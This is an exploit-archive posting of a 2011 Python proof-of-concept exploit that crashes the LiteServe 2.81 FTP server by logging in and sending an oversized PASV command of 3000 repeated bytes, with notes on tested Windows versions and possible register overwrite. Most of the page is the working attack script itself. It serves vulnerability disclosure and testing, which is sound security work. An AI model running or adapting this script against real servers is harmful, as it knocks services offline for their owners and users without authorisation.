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LiteServe 2.81 PASV Denial Of Service

LiteServe 2.81 PASV Denial Of Service
Posted Aug 9, 2011
Authored by Craig Freyman

LiteServe version 2.81 PASV command denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
SHA-256 | 89b6d6faac955e184cd85ccfc79310989e93b57a0df944fdc49e8e88b5853864

LiteServe 2.81 PASV Denial Of Service

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#!/usr/bin/python
#Title: LiteServe 2.81 PASV Command DoS
#Author: Craig Freyman (@cd1zz)
#Date: Bug found July 25, 2011 - Vendor approved release August 7, 2011
#Tested on Windows XP SP3 and Server 2003 SP2
#Software: http://www.cmfperception.com/liteserve.html
#Notes: In certain conditions that I could not reproduce reliably, registers were
#overwritten. There are a number of other FTP commands that exhibit the same behavior.

import socket,sys,time,struct

if len(sys.argv) < 2:
print "[-]Usage: %s <target addr> " % sys.argv[0]
sys.exit(0)

target = sys.argv[1]

if len(sys.argv) > 2:
platform = sys.argv[2]

crash = "\x41" * 3000

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
s.connect((target,21))
except:
print "[-] Connection to "+target+" failed!"
sys.exit(0)

print "[*] Sending " + `len(crash)` + " byte crash..."

s.send("USER test\r\n")
s.recv(1024)
s.send("PASS test\r\n")
s.recv(1024)
s.send("PASV "+crash+"\r\n")
print "Sleeping..."
time.sleep(5)
s.close()




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